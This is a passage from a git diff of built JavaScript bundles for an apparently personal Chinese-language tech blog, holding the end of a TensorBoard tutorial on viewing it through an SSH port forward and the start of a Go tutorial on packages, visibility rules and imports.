3\uff0c\u70b9\u51fb\u6dfb\u52a0\n",(0,t.jsx)(n.img,{alt:"xhell_ui",src:r(43936).A+"",width:"1046",height:"992"})]}),"\n",(0,t.jsxs)(n.li,{children:["\u6309\u7167\u4e0b\u65b9\u56fe\u8fdb\u884c\u9009\u62e9\uff0c\u5176\u4e2d\u76ee\u6807\u4e3b\u673a\u4ee3\u8868\u7684\u662f\u670d\u52a1\u5668\uff0c\u6e90\u4e3b\u673a\u4ee3\u8868\u7684\u662f\u672c\u5730\uff0c\u7aef\u53e3\u7684\u9009\u62e9\u6839\u636e\u5b9e\u9645\u60c5\u51b5\u800c\u5b9a\u3002\n",(0,t.jsx)(n.img,{alt:"xhell_set",src:r(29936).A+"",width:"700",height:"510"})]}),"\n",(0,t.jsx)(n.li,{children:"\u542f\u52a8tensorboard\uff0c\u5728\u672c\u5730127.0.0.1:6006 \u6216\u8005 localhost:6006\u8fdb\u884c\u8bbf\u95ee\u3002"}),"\n"]}),"\n"]}),"\n",(0,t.jsxs)(n.li,{children:["\n",(0,t.jsx)(n.p,{children:"SSH"}),"\n",(0,t.jsxs)(n.ol,{children:["\n",(0,t.jsx)(n.li,{children:"\u8be5\u65b9\u6cd5\u662f\u5c06\u670d\u52a1\u5668\u76846006\u7aef\u53e3\u91cd\u5b9a\u5411\u5230\u81ea\u5df1\u673a\u5668\u4e0a\u6765\uff0c\u6211\u4eec\u53ef\u4ee5\u5728\u672c\u5730\u7684\u7ec8\u7aef\u91cc\u8f93\u5165\u4ee5\u4e0b\u4ee3\u7801\uff1a\u5176\u4e2d16006\u4ee3\u8868\u6620\u5c04\u5230\u672c\u5730\u7684\u7aef\u53e3\uff0c6006\u4ee3\u8868\u7684\u662f\u670d\u52a1\u5668\u4e0a\u7684\u7aef\u53e3\u3002"}),"\n"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-shell",children:" ssh -L 16006:127.0.0.1:6006 username@remote_server_ip\n"})}),"\n",(0,t.jsxs)(n.ol,{start:"2",children:["\n",(0,t.jsx)(n.li,{children:"\u5728\u670d\u52a1\u4e0a\u4f7f\u7528\u9ed8\u8ba4\u76846006\u7aef\u53e3\u6b63\u5e38\u542f\u52a8tensorboard"}),"\n"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-shell",children:"tensorboard --logdir=xxx --port=6006\n"})}),"\n",(0,t.jsxs)(n.ol,{start:"3",children:["\n",(0,t.jsx)(n.li,{children:"\u5728\u672c\u5730\u7684\u6d4f\u89c8\u5668\u8f93\u5165\u5730\u5740"}),"\n"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-shell",children:"127.0.0.1:16006 \u6216\u8005 localhost:16006\n"})}),"\n"]}),"\n"]}),"\n",(0,t.jsx)(n.h2,{id:"739-\u603b\u7ed3",children:"7.3.9 \u603b\u7ed3"}),"\n",(0,t.jsx)(n.p,{children:"\u5bf9\u4e8eTensorBoard\u6765\u8bf4\uff0c\u5b83\u7684\u529f\u80fd\u662f\u5f88\u5f3a\u5927\u7684\uff0c\u53ef\u4ee5\u8bb0\u5f55\u7684\u4e1c\u897f\u4e0d\u53ea\u9650\u4e8e\u672c\u8282\u6240\u4ecb\u7ecd\u7684\u8303\u56f4\u3002"}),"\n",(0,t.jsxs)(n.p,{children:["\u4e3b\u8981\u7684\u5b9e\u73b0\u65b9\u6848\u662f\u6784\u5efa\u4e00\u4e2aSummaryWriter\uff0c\u7136\u540e\u901a\u8fc7",(0,t.jsx)(n.code,{children:"add_XXX()"}),"\u51fd\u6570\u6765\u5b9e\u73b0\u3002"]}),"\n",(0,t.jsxs)(n.p,{children:["\u5176\u5b9eTensorBoard\u7684\u903b\u8f91\u8fd8\u662f\u5f88\u7b80\u5355\u7684\uff0c\u5b83\u7684",(0,t.jsx)(n.strong,{children:"\u57fa\u672c\u903b\u8f91\u5c31\u662f\u6587\u4ef6\u7684\u8bfb\u5199\u903b\u8f91"}),"\uff0c\u5199\u5165\u60f3\u8981\u53ef\u89c6\u5316\u7684\u6570\u636e\uff0c\u7136\u540eTensorBoard\u81ea\u5df1\u4f1a\u8bfb\u51fa\u6765\u3002"]}),"\n",(0,t.jsx)(n.h2,{id:"\u53c2\u8003\u8d44\u6599",children:"\u53c2\u8003\u8d44\u6599"}),"\n",(0,t.jsxs)(n.ol,{children:["\n",(0,t.jsx)(n.li,{children:(0,t.jsx)(n.a,{href:"https://blog.csdn.net/Python_Ai_Road/article/details/107704530",children:"https://blog.csdn.net/Python_Ai_Road/article/details/107704530"})}),"\n"]})]})}function h(e={}){const{wrapper:n}={...(0,o.R)(),...e.components};return n?(0,t.jsx)(n,{...e,children:(0,t.jsx)(c,{...e})}):c(e)}},28453:(e,n,r)=>{r.d(n,{R:()=>i,x:()=>d});var s=r(96540);const t={},o=s.createContext(t);function i(e){const n=s.useContext(o);return s.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function d(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(t):e.components||t:i(e.components),s.createElement(o.Provider,{value:n},e.children)}},29145:(e,n,r)=>{r.d(n,{A:()=>s});const s=r.p+"assets/images/tb_twolines-6c4bbd50a2e7aa3ce6ac4032be47c066.png"},29936:(e,n,r)=>{r.d(n,{A:()=>s});const s=r.p+"assets/images/xshell_set-4e0c80744c0e0cf118eb655774dd7016.png"},43936:(e,n,r)=>{r.d(n,{A:()=>s});const s=r.p+"assets/images/xshell_ui-41b57690e24a12dac89a2a93d97faea5.png"},52499:(e,n,r)=>{r.d(n,{A:()=>s});const s=r.p+"assets/images/tb_image-31cd531807cb58edfd129153e725a4fd.png"},56800:(e,n,r)=>{r.d(n,{A:()=>s});const s=r.p+"assets/images/tb_images-0992316c79988f909f1143d61a003d5f.png"},60678:(e,n,r)=>{r.d(n,{A:()=>s});const s=r.p+"assets/images/tb_scalar-2160e1879a5b77ec49dfa10a296dc319.png"},62899:(e,n,r)=>{r.d(n,{A:()=>s});const s=r.p+"assets/images/ssh_tunnel_UI-fbd6efe54583b302cced933c73ea361c.png"},63512:(e,n,r)=>{r.d(n,{A:()=>s});const s=r.p+"assets/images/tb_image_grid-755a0b360b30bc2429f0bab074d4c6a4.png"},68539:(e,n,r)=>{r.d(n,{A:()=>s});const s=r.p+"assets/images/tb_model-e9842181d50b387985013682f85f0d50.png"},91094:(e,n,r)=>{r.d(n,{A:()=>s});const s=r.p+"assets/images/tb_hist-c15e8984d124d3b39c101875fe33b74c.png"}}]); \ No newline at end of file diff --git a/assets/js/a30d8662.52bd5615.js b/assets/js/a30d8662.52bd5615.js new file mode 100644 index 0000000..e15c970 --- /dev/null +++ b/assets/js/a30d8662.52bd5615.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[1921],{25670:(n,e,l)=>{l.d(e,{A:()=>d});const d=l.p+"assets/images/module_version_info-4014500eef7f9a67c9c6f97823e41a0e.png"},28453:(n,e,l)=>{l.d(e,{R:()=>o,x:()=>s});var d=l(96540);const i={},c=d.createContext(i);function o(n){const e=d.useContext(c);return d.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function s(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(i):n.components||i:o(n.components),d.createElement(c.Provider,{value:e},n.children)}},34303:(n,e,l)=>{l.r(e),l.d(e,{assets:()=>r,contentTitle:()=>s,default:()=>t,frontMatter:()=>o,metadata:()=>d,toc:()=>h});const d=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5305","title":"\u5305\u4e0e\u4f9d\u8d56\u7ba1\u7406","description":"\u672c\u7ae0\u5b66\u4e60\u76ee\u6807","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/15.GoLang-\u5305.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5305","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5305","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/15.GoLang-\u5305.md","tags":[],"version":"current","sidebarPosition":15,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u7ed3\u6784\u4f53","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u7ed3\u6784\u4f53"},"next":{"title":"\u63a5\u53e3","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u63a5\u53e3"}}');var i=l(74848),c=l(28453);const o={},s="\u5305\u4e0e\u4f9d\u8d56\u7ba1\u7406",r={},h=[{value:"\u5305\uff08package\uff09",id:"\u5305package",level:2},{value:"\u5305\u4ecb\u7ecd",id:"\u5305\u4ecb\u7ecd",level:3},{value:"\u5b9a\u4e49\u5305",id:"\u5b9a\u4e49\u5305",level:3},{value:"\u6807\u8bc6\u7b26\u53ef\u89c1\u6027",id:"\u6807\u8bc6\u7b26\u53ef\u89c1\u6027",level:3},{value:"\u5305\u7684\u5f15\u5165",id:"\u5305\u7684\u5f15\u5165",level:3},{value:"init\u521d\u59cb\u5316\u51fd\u6570",id:"init\u521d\u59cb\u5316\u51fd\u6570",level:3},{value:"go module",id:"go-module",level:2},{value:"go module\u4ecb\u7ecd",id:"go-module\u4ecb\u7ecd",level:3},{value:"\u4f7f\u7528go module\u5f15\u5165\u5305",id:"\u4f7f\u7528go-module\u5f15\u5165\u5305",level:3},{value:"\u4f7f\u7528go module\u53d1\u5e03\u5305",id:"\u4f7f\u7528go-module\u53d1\u5e03\u5305",level:3}];function a(n){const e={code:"code",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,c.R)(),...n.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(e.header,{children:(0,i.jsx)(e.h1,{id:"\u5305\u4e0e\u4f9d\u8d56\u7ba1\u7406",children:"\u5305\u4e0e\u4f9d\u8d56\u7ba1\u7406"})}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:"\u672c\u7ae0\u5b66\u4e60\u76ee\u6807"})}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsx)(e.li,{children:"\u638c\u63e1\u5305\u7684\u5b9a\u4e49\u548c\u4f7f\u7528"}),"\n",(0,i.jsx)(e.li,{children:"\u638c\u63e1init\u521d\u59cb\u5316\u51fd\u6570\u7684\u4f7f\u7528"}),"\n",(0,i.jsx)(e.li,{children:"\u638c\u63e1\u4f9d\u8d56\u7ba1\u7406\u5de5\u5177go module\u7684\u4f7f\u7528"}),"\n"]}),"\n",(0,i.jsx)(e.p,{children:"\u5728\u5de5\u7a0b\u5316\u7684Go\u8bed\u8a00\u5f00\u53d1\u9879\u76ee\u4e2d\uff0cGo\u8bed\u8a00\u7684\u6e90\u7801\u590d\u7528\u662f\u5efa\u7acb\u5728\u5305\uff08package\uff09\u57fa\u7840\u4e4b\u4e0a\u7684\u3002\u672c\u6587\u4ecb\u7ecd\u4e86Go\u8bed\u8a00\u4e2d\u5982\u4f55\u5b9a\u4e49\u5305\u3001\u5982\u4f55\u5bfc\u51fa\u5305\u7684\u5185\u5bb9\u53ca\u5982\u4f55\u5f15\u5165\u5176\u4ed6\u5305\u3002\u540c\u65f6\u4e5f\u5c06\u4ecb\u7ecd\u5982\u4f55\u5728\u9879\u76ee\u4e2d\u4f7f\u7528go module\u7ba1\u7406\u4f9d\u8d56\u3002"}),"\n",(0,i.jsx)(e.h2,{id:"\u5305package",children:"\u5305\uff08package\uff09"}),"\n",(0,i.jsx)(e.h3,{id:"\u5305\u4ecb\u7ecd",children:"\u5305\u4ecb\u7ecd"}),"\n",(0,i.jsxs)(e.p,{children:["Go\u8bed\u8a00\u4e2d\u652f\u6301\u6a21\u5757\u5316\u7684\u5f00\u53d1\u7406\u5ff5\uff0c\u5728Go\u8bed\u8a00\u4e2d\u4f7f\u7528",(0,i.jsx)(e.code,{children:"\u5305\uff08package\uff09"}),"\u6765\u652f\u6301\u4ee3\u7801\u6a21\u5757\u5316\u548c\u4ee3\u7801\u590d\u7528\u3002\u4e00\u4e2a\u5305\u662f\u7531\u4e00\u4e2a\u6216\u591a\u4e2aGo\u6e90\u7801\u6587\u4ef6\uff08.go\u7ed3\u5c3e\u7684\u6587\u4ef6\uff09\u7ec4\u6210\uff0c\u662f\u4e00\u79cd\u9ad8\u7ea7\u7684\u4ee3\u7801\u590d\u7528\u65b9\u6848\uff0cGo\u8bed\u8a00\u4e3a\u6211\u4eec\u63d0\u4f9b\u4e86\u5f88\u591a\u5185\u7f6e\u5305\uff0c\u5982",(0,i.jsx)(e.code,{children:"fmt"}),"\u3001",(0,i.jsx)(e.code,{children:"os"}),"\u3001",(0,i.jsx)(e.code,{children:"io"}),"\u7b49\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u4f8b\u5982\uff0c\u5728\u4e4b\u524d\u7684\u7ae0\u8282\u4e2d\u6211\u4eec\u9891\u7e41\u4f7f\u7528\u4e86",(0,i.jsx)(e.code,{children:"fmt"}),"\u8fd9\u4e2a\u5185\u7f6e\u5305\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'package main\n\nimport "fmt"\n\nfunc main(){\n fmt.Println("Hello world!")\n}\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u4e0a\u9762\u77ed\u77ed\u7684\u51e0\u884c\u4ee3\u7801\u5c31\u6d89\u53ca\u5230\u4e86\u5982\u4f55\u5b9a\u4e49\u5305\u4ee5\u53ca\u5982\u4f55\u5f15\u5165\u5176\u5b83\u5305\u4e24\u4e2a\u5185\u5bb9\uff0c\u63a5\u4e0b\u6765\u6211\u4eec\u4f9d\u6b21\u4ecb\u7ecd\u4e00\u4e0b\u5b83\u4eec\u3002"}),"\n",(0,i.jsx)(e.h3,{id:"\u5b9a\u4e49\u5305",children:"\u5b9a\u4e49\u5305"}),"\n",(0,i.jsxs)(e.p,{children:["\u6211\u4eec\u53ef\u4ee5\u6839\u636e\u81ea\u5df1\u7684\u9700\u8981\u521b\u5efa\u81ea\u5b9a\u4e49\u5305\u3002\u4e00\u4e2a\u5305\u53ef\u4ee5\u7b80\u5355\u7406\u89e3\u4e3a\u4e00\u4e2a\u5b58\u653e",(0,i.jsx)(e.code,{children:".go"}),"\u6587\u4ef6\u7684\u6587\u4ef6\u5939\u3002\u8be5\u6587\u4ef6\u5939\u4e0b\u9762\u7684\u6240\u6709",(0,i.jsx)(e.code,{children:".go"}),"\u6587\u4ef6\u90fd\u8981\u5728\u975e\u6ce8\u91ca\u7684\u7b2c\u4e00\u884c\u6dfb\u52a0\u5982\u4e0b\u58f0\u660e\uff0c\u58f0\u660e\u8be5\u6587\u4ef6\u5f52\u5c5e\u7684\u5305\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"package packagename\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u5176\u4e2d\uff1a"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsx)(e.li,{children:"package\uff1a\u58f0\u660e\u5305\u7684\u5173\u952e\u5b57"}),"\n",(0,i.jsxs)(e.li,{children:["packagename\uff1a\u5305\u540d\uff0c\u53ef\u4ee5\u4e0d\u4e0e\u6587\u4ef6\u5939\u7684\u540d\u79f0\u4e00\u81f4\uff0c\u4e0d\u80fd\u5305\u542b ",(0,i.jsx)(e.code,{children:"-"})," \u7b26\u53f7\uff0c\u6700\u597d\u4e0e\u5176\u5b9e\u73b0\u7684\u529f\u80fd\u76f8\u5bf9\u5e94\u3002"]}),"\n"]}),"\n",(0,i.jsxs)(e.p,{children:["\u53e6\u5916\u9700\u8981\u6ce8\u610f\u4e00\u4e2a\u6587\u4ef6\u5939\u4e0b\u9762\u76f4\u63a5\u5305\u542b\u7684\u6587\u4ef6\u53ea\u80fd\u5f52\u5c5e\u4e00\u4e2a\u5305\uff0c\u540c\u4e00\u4e2a\u5305\u7684\u6587\u4ef6\u4e0d\u80fd\u5728\u591a\u4e2a\u6587\u4ef6\u5939\u4e0b\u3002\u5305\u540d\u4e3a",(0,i.jsx)(e.code,{children:"main"}),"\u7684\u5305\u662f\u5e94\u7528\u7a0b\u5e8f\u7684\u5165\u53e3\u5305\uff0c\u8fd9\u79cd\u5305\u7f16\u8bd1\u540e\u4f1a\u5f97\u5230\u4e00\u4e2a\u53ef\u6267\u884c\u6587\u4ef6\uff0c\u800c\u7f16\u8bd1\u4e0d\u5305\u542b",(0,i.jsx)(e.code,{children:"main"}),"\u5305\u7684\u6e90\u4ee3\u7801\u5219\u4e0d\u4f1a\u5f97\u5230\u53ef\u6267\u884c\u6587\u4ef6\u3002"]}),"\n",(0,i.jsx)(e.h3,{id:"\u6807\u8bc6\u7b26\u53ef\u89c1\u6027",children:"\u6807\u8bc6\u7b26\u53ef\u89c1\u6027"}),"\n",(0,i.jsxs)(e.p,{children:["\u5728\u540c\u4e00\u4e2a\u5305\u5185\u90e8\u58f0\u660e\u7684\u6807\u8bc6\u7b26\u90fd\u4f4d\u4e8e\u540c\u4e00\u4e2a\u547d\u540d\u7a7a\u95f4\u4e0b\uff0c\u5728\u4e0d\u540c\u7684\u5305\u5185\u90e8\u58f0\u660e\u7684\u6807\u8bc6\u7b26\u5c31\u5c5e\u4e8e\u4e0d\u540c\u7684\u547d\u540d\u7a7a\u95f4\u3002\u60f3\u8981\u5728\u5305\u7684\u5916\u90e8\u4f7f\u7528\u5305\u5185\u90e8\u7684\u6807\u8bc6\u7b26\u5c31\u9700\u8981\u6dfb\u52a0\u5305\u540d\u524d\u7f00\uff0c\u4f8b\u5982",(0,i.jsx)(e.code,{children:'fmt.Println("Hello world!")'}),"\uff0c\u5c31\u662f\u6307\u8c03\u7528",(0,i.jsx)(e.code,{children:"fmt"}),"\u5305\u4e2d\u7684",(0,i.jsx)(e.code,{children:"Println"}),"\u51fd\u6570\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"\u5982\u679c\u60f3\u8ba9\u4e00\u4e2a\u5305\u4e2d\u7684\u6807\u8bc6\u7b26\uff08\u5982\u53d8\u91cf\u3001\u5e38\u91cf\u3001\u7c7b\u578b\u3001\u51fd\u6570\u7b49\uff09\u80fd\u88ab\u5916\u90e8\u7684\u5305\u4f7f\u7528\uff0c\u90a3\u4e48\u6807\u8bc6\u7b26\u5fc5\u987b\u662f\u5bf9\u5916\u53ef\u89c1\u7684\uff08public\uff09\u3002\u5728Go\u8bed\u8a00\u4e2d\u662f\u901a\u8fc7\u6807\u8bc6\u7b26\u7684\u9996\u5b57\u6bcd\u5927/\u5c0f\u5199\u6765\u63a7\u5236\u6807\u8bc6\u7b26\u7684\u5bf9\u5916\u53ef\u89c1\uff08public\uff09/\u4e0d\u53ef\u89c1\uff08private\uff09\u7684\u3002\u5728\u4e00\u4e2a\u5305\u5185\u90e8\u53ea\u6709\u9996\u5b57\u6bcd\u5927\u5199\u7684\u6807\u8bc6\u7b26\u624d\u662f\u5bf9\u5916\u53ef\u89c1\u7684\u3002"}),"\n",(0,i.jsxs)(e.p,{children:["\u4f8b\u5982\u6211\u4eec\u5b9a\u4e49\u4e00\u4e2a\u540d\u4e3a",(0,i.jsx)(e.code,{children:"demo"}),"\u7684\u5305\uff0c\u5728\u5176\u4e2d\u5b9a\u4e49\u4e86\u82e5\u5e72\u6807\u8bc6\u7b26\u3002\u5728\u53e6\u5916\u4e00\u4e2a\u5305\u4e2d\u5e76\u4e0d\u662f\u6240\u6709\u7684\u6807\u8bc6\u7b26\u90fd\u80fd\u901a\u8fc7",(0,i.jsx)(e.code,{children:"demo."}),"\u524d\u7f00\u8bbf\u95ee\u5230\uff0c\u56e0\u4e3a\u53ea\u6709\u90a3\u4e9b\u9996\u5b57\u6bcd\u662f\u5927\u5199\u7684\u6807\u8bc6\u7b26\u624d\u662f\u5bf9\u5916\u53ef\u89c1\u7684\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'package demo\n\nimport "fmt"\n\n// \u5305\u7ea7\u522b\u6807\u8bc6\u7b26\u7684\u53ef\u89c1\u6027\n\n// num \u5b9a\u4e49\u4e00\u4e2a\u5168\u5c40\u6574\u578b\u53d8\u91cf\n// \u9996\u5b57\u6bcd\u5c0f\u5199\uff0c\u5bf9\u5916\u4e0d\u53ef\u89c1(\u53ea\u80fd\u5728\u5f53\u524d\u5305\u5185\u4f7f\u7528)\nvar num = 100\n\n// Mode \u5b9a\u4e49\u4e00\u4e2a\u5e38\u91cf\n// \u9996\u5b57\u6bcd\u5927\u5199\uff0c\u5bf9\u5916\u53ef\u89c1(\u53ef\u5728\u5176\u5b83\u5305\u4e2d\u4f7f\u7528)\nconst Mode = 1\n\n// person \u5b9a\u4e49\u4e00\u4e2a\u4ee3\u8868\u4eba\u7684\u7ed3\u6784\u4f53\n// \u9996\u5b57\u6bcd\u5c0f\u5199\uff0c\u5bf9\u5916\u4e0d\u53ef\u89c1(\u53ea\u80fd\u5728\u5f53\u524d\u5305\u5185\u4f7f\u7528)\ntype person struct {\n\tname string\n\tAge int\n}\n\n// Add \u8fd4\u56de\u4e24\u4e2a\u6574\u6570\u548c\u7684\u51fd\u6570\n// \u9996\u5b57\u6bcd\u5927\u5199\uff0c\u5bf9\u5916\u53ef\u89c1(\u53ef\u5728\u5176\u5b83\u5305\u4e2d\u4f7f\u7528)\nfunc Add(x, y int) int {\n\treturn x + y\n}\n\n// sayHi \u6253\u62db\u547c\u7684\u51fd\u6570\n// \u9996\u5b57\u6bcd\u5c0f\u5199\uff0c\u5bf9\u5916\u4e0d\u53ef\u89c1(\u53ea\u80fd\u5728\u5f53\u524d\u5305\u5185\u4f7f\u7528)\nfunc sayHi() {\n\tvar myName = "\u4e03\u7c73" // \u51fd\u6570\u5c40\u90e8\u53d8\u91cf\uff0c\u53ea\u80fd\u5728\u5f53\u524d\u51fd\u6570\u5185\u4f7f\u7528\n\tfmt.Println(myName)\n}\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u540c\u6837\u7684\u89c4\u5219\u4e5f\u9002\u7528\u4e8e\u7ed3\u6784\u4f53\uff0c\u7ed3\u6784\u4f53\u4e2d\u53ef\u5bfc\u51fa\u5b57\u6bb5\u7684\u5b57\u6bb5\u540d\u79f0\u5fc5\u987b\u9996\u5b57\u6bcd\u5927\u5199\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"type Student struct {\n\tName string // \u53ef\u5728\u5305\u5916\u8bbf\u95ee\u7684\u65b9\u6cd5\n\tclass string // \u4ec5\u9650\u5305\u5185\u8bbf\u95ee\u7684\u5b57\u6bb5\n}\n"})}),"\n",(0,i.jsx)(e.h3,{id:"\u5305\u7684\u5f15\u5165",children:"\u5305\u7684\u5f15\u5165"}),"\n",(0,i.jsxs)(e.p,{children:["\u8981\u5728\u5f53\u524d\u5305\u4e2d\u4f7f\u7528\u53e6\u5916\u4e00\u4e2a\u5305\u7684\u5185\u5bb9\u5c31\u9700\u8981\u4f7f\u7528",(0,i.jsx)(e.code,{children:"import"}),"\u5173\u952e\u5b57\u5f15\u5165\u8fd9\u4e2a\u5305\uff0c\u5e76\u4e14import\u8bed\u53e5\u901a\u5e38\u653e\u5728\u6587\u4ef6\u7684\u5f00\u5934\uff0c",(0,i.jsx)(e.code,{children:"package"}),"\u58f0\u660e\u8bed\u53e5\u7684\u4e0b\u65b9\u3002\u5b8c\u6574\u7684\u5f15\u5165\u58f0\u660e\u8bed\u53e5\u683c\u5f0f\u5982\u4e0b:"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'import importname "path/to/package"\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u5176\u4e2d\uff1a"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsx)(e.li,{children:"importname\uff1a\u5f15\u5165\u7684\u5305\u540d\uff0c\u901a\u5e38\u90fd\u7701\u7565\u3002\u9ed8\u8ba4\u503c\u4e3a\u5f15\u5165\u5305\u7684\u5305\u540d\u3002"}),"\n",(0,i.jsx)(e.li,{children:"path/to/package\uff1a\u5f15\u5165\u5305\u7684\u8def\u5f84\u540d\u79f0\uff0c\u5fc5\u987b\u4f7f\u7528\u53cc\u5f15\u53f7\u5305\u88f9\u8d77\u6765\u3002"}),"\n",(0,i.jsx)(e.li,{children:"Go\u8bed\u8a00\u4e2d\u7981\u6b62\u5faa\u73af\u5bfc\u5165\u5305\u3002"}),"\n"]}),"\n",(0,i.jsx)(e.p,{children:"\u4e00\u4e2aGo\u6e90\u7801\u6587\u4ef6\u4e2d\u53ef\u4ee5\u540c\u65f6\u5f15\u5165\u591a\u4e2a\u5305\uff0c\u4f8b\u5982\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'import "fmt"\nimport "net/http"\nimport "os"\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u5f53\u7136\u53ef\u4ee5\u4f7f\u7528\u6279\u91cf\u5f15\u5165\u7684\u65b9\u5f0f\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'import (\n "fmt"\n \t"net/http"\n "os"\n)\n'})}),"\n",(0,i.jsxs)(e.p,{children:["\u5f53\u5f15\u5165\u7684\u591a\u4e2a\u5305\u4e2d\u5b58\u5728\u76f8\u540c\u7684\u5305\u540d\u6216\u8005\u60f3\u81ea\u884c\u4e3a\u67d0\u4e2a\u5f15\u5165\u7684\u5305\u8bbe\u7f6e\u4e00\u4e2a\u65b0\u5305\u540d\u65f6\uff0c\u90fd\u9700\u8981\u901a\u8fc7",(0,i.jsx)(e.code,{children:"importname"}),"\u6307\u5b9a\u4e00\u4e2a\u5728\u5f53\u524d\u6587\u4ef6\u4e2d\u4f7f\u7528\u7684\u65b0\u5305\u540d\u3002\u4f8b\u5982\uff0c\u5728\u5f15\u5165",(0,i.jsx)(e.code,{children:"fmt"}),"\u5305\u65f6\u4e3a\u5176\u6307\u5b9a\u4e00\u4e2a\u65b0\u5305\u540d",(0,i.jsx)(e.code,{children:"f"}),"\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'import f "fmt"\n'})}),"\n",(0,i.jsxs)(e.p,{children:["\u8fd9\u6837\u5728\u5f53\u524d\u8fd9\u4e2a\u6587\u4ef6\u4e2d\u5c31\u53ef\u4ee5\u901a\u8fc7\u4f7f\u7528",(0,i.jsx)(e.code,{children:"f"}),"\u6765\u8c03\u7528",(0,i.jsx)(e.code,{children:"fmt"}),"\u5305\u4e2d\u7684\u51fd\u6570\u4e86\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'f.Println("Hello world!")\n'})}),"\n",(0,i.jsxs)(e.p,{children:["\u5982\u679c\u5f15\u5165\u4e00\u4e2a\u5305\u7684\u65f6\u5019\u4e3a\u5176\u8bbe\u7f6e\u4e86\u4e00\u4e2a\u7279\u6b8a",(0,i.jsx)(e.code,{children:"_"}),"\u4f5c\u4e3a\u5305\u540d\uff0c\u90a3\u4e48\u8fd9\u4e2a\u5305\u7684\u5f15\u5165\u65b9\u5f0f\u5c31\u79f0\u4e3a\u533f\u540d\u5f15\u5165\u3002\u4e00\u4e2a\u5305\u88ab\u533f\u540d\u5f15\u5165\u7684\u76ee\u7684\u4e3b\u8981\u662f\u4e3a\u4e86\u52a0\u8f7d\u8fd9\u4e2a\u5305\uff0c\u4ece\u800c\u4f7f\u5f97\u8fd9\u4e2a\u5305\u4e2d\u7684\u8d44\u6e90\u5f97\u4ee5\u521d\u59cb\u5316\u3002 \u88ab\u533f\u540d\u5f15\u5165\u7684\u5305\u4e2d\u7684",(0,i.jsx)(e.code,{children:"init"}),"\u51fd\u6570\u5c06\u88ab\u6267\u884c\u5e76\u4e14\u4ec5\u6267\u884c\u4e00\u904d\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'import _ 